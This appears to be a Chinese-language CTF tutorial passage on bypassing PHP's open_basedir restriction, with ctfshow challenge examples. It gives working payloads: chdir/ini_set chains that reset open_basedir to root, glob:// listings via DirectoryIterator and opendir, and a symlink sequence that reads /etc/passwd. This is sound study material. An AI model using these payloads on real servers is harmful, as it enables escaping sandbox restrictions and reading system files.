利用chdir()与ini_set()组合Bypass
首先呢chdir(‘img’)到文件的子目录,这一步是复合open_basedir的检查的,因此当前的目录就是/var/www/html/img,接着ini_set(“open_basedir”,”…”),由于内部函数的一系列漏洞,这一代码是可以通过检查的,此时open_basedir的工作目录是(/var/www/html/img)+…,接下来就是不断地chdir(“…”),最终将open_basedir改到了根目录下,于是乎就失效了。。。
payload:
获取目录:
?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));
读取flag:
?cmd=chdir('/tmp');mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents(THis_Is_tHe_F14g));
利用glob://伪协议Bypass
注:此方法只能列出根目录下的文件。
glob:// — 查找匹配的文件路径模式。
glob://是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,其用法示例如下:
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
Bypass
只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。
方式1——DirectoryIterator+glob://
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件:
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
输入glob:///*即可列出根目录下的文件,但是会发现只能列根目录和open_basedir指定的目录的文件:
例题:ctfshow-web入门72:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
用该payload查看当前目录文件:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();?>
成功发现flag0.txt
,
方式2——opendir()+readdir()+glob://
opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目。
这里结合两个函数来列举根目录中的文件:
c=?><?php
if ( $b = opendir("glob:///*") ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
exit(0);
?>
效果和方式1是一样的,只能Bypass open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。
例题:ctfshow-web入门72:
利用syslink()函数Bypass
符号连接
符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身
Bypass
原理是创建一个链接文件aaa用相对路径指向A/B/C/D,再创建一个链接文件exp指向aaa/…/…/…/…/etc/passwd,其实就是指向了A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。这时候删除aaa文件再创建aaa目录但是exp还是指向了aaa也就是A/B/C/D/…/…/…/…/etc/passwd,就进入了路径/etc/passwd
payload构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个…/来设置目标文件。
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","aaa");
symlink("aaa/../../../../etc/passwd","exp");
unlink("aaa");
mkdir("aaa");
?>
学习自:
https://wp.ctf.show/d/141-ctfshow-web-58-77-bypass
https://www.cnblogs.com/hookjoy/p/12846164.html
https://www.dazhuanlan.com/2020/02/29/5e5a7992dc634/